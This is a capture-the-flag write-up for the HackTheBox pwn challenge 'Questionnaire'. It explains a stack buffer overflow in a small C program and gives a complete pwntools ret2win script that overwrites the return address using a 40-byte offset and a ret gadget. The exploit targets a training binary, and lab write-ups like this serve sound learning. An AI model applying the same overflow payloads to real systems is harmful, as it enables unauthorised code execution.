Questionnaire
Questionnaire
Platform: HackTheBox | Category: Pwn | Difficulty: Very Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
It's time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
-
Given 2 files, 64 bit binary file and it's source-code.
-
Check the binary's protections.
-
Let's analyze the source-code.
-
It's a simple ret2win challenge, where the buffer variable holds 32 as it's buffer but the fgets() specified that the user can enter up to 256 bytes.
-
We can use this to control the RIP to change the return address to the
gg()to get the flag. -
Let's find the RIP offset.
-
Got the offset at 40, let's grab the
gg()address and ret; gadget to align payload we're sending.
THE SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw) exe = './test' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'debug' sh = start() ret = 0x000000000040101a padding = 40 p = flat([ asm('nop') * padding, ret, 0x401176 ]) sh.sendline(p) sh.interactive()
LOCALLY
-
Great! We jumped there, let's run it remotely.
-
It's a question, so we don't get the flag by sending our payload (?)
-
Let's answer all of it.
-
Got the flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.